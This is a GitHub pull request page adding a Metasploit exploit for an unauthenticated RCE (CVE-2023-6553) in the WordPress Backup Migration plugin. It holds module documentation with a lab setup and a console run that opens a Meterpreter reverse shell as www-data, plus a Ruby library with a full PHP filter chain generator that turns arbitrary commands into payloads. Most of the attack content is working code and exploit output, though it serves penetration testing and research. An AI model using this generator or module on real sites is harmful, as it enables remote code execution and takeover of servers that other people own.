Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WordPress Backup Migration Plugin PHP Filter Chain RCE (CVE-2023-6553) #18633

Merged
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -60,3 +60,4 @@ paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
royal-elementor-addons
backup-backup
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
## Vulnerable Application

This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.

The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.

### Setup

Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:
```
version: "3"
# Defines which compose version to use
services:
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
db:
image: mysql:5.7
# image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation.
restart: always
environment:
MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD
MYSQL_DATABASE: MyWordPressDatabaseName
MYSQL_USER: MyWordPressUser
MYSQL_PASSWORD: Pa$$5w0rD
# Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password.
wordpress:
depends_on:
- db
image: wordpress:latest
restart: always
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
ports:
- "8000:80"
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: MyWordPressUser
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
WORDPRESS_DB_NAME: MyWordPressDatabaseName
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
volumes:
["./:/var/www/html"]
volumes:
mysql: {}
```

Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
plugin. You should now have a vulnerable instance running.

## Verification Steps

1. Start msfconsole
1. Do: `use `
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session in the context of the user running the WordPress application.

## Scenarios
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
```
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
rport => 8000
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options

Module options (exploit/multi/http/wp_backup_migration_php_filter):

Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/wp_backup_migration_php_filter) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.0
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 192.168.123.1
[+] Deleted L
[+] Deleted ONxu.php
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 856d06702f34
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter >
```
116 changes: 116 additions & 0 deletions lib/msf/core/exploit/remote/http/php_filter_chain.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
# -*- coding: binary -*-

module Msf
class Exploit
class Remote
module HTTP
module PhpFilterChain

# This module can be used to generate PHP Filter Chains which can be used to gain RCE through an LFI.
#
# There are many different types of character encodings. You can use [convert.iconv.*](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv)
# in PHP in order to convert from one encoding to another.
#
# Some encodings have a byte or sequence of bytes prepended to the string as a signature. By carefully chaining
# together specific encoding conversions, we can control the bytes that get prepended to the string.
#
# An example of when this can be used is when you control the input to a "require" or an "include" statement in PHP.
# PHP lets you specify the file name as "resource=php://temp" so you don't actually need to know the a file on
# the system and then you can build a payload with filter chains which will then be executed by the "require".
# Ex: require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<redacted>|resource=php://temp"
# More info: https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it
def initialize(info = {})
super
end

CONVERSIONS = {
"0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
"1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"2" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
"6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
"9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"C" => "convert.iconv.UTF8.CSISO2022KR",
"c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
"W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
"/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
"=" => "", # since `=` is only used as trailing padding, it can safely be ignored.
}

def generate_php_filter_payload(command)
chain = command.encode("UTF-8")
encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=")
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters << "convert.base64-encode|"
filters << "convert.iconv.UTF8.UTF7|"

encoded_chain.reverse.each_char do |c|
filters << CONVERSIONS[c] + "|"
filters << "convert.base64-decode|"
filters << "convert.base64-encode|"
filters << "convert.iconv.UTF8.UTF7|"
end

filters += "convert.base64-decode"
"php://filter/#{filters}/resource=php://temp"

end
end
end
end
end
end
Loading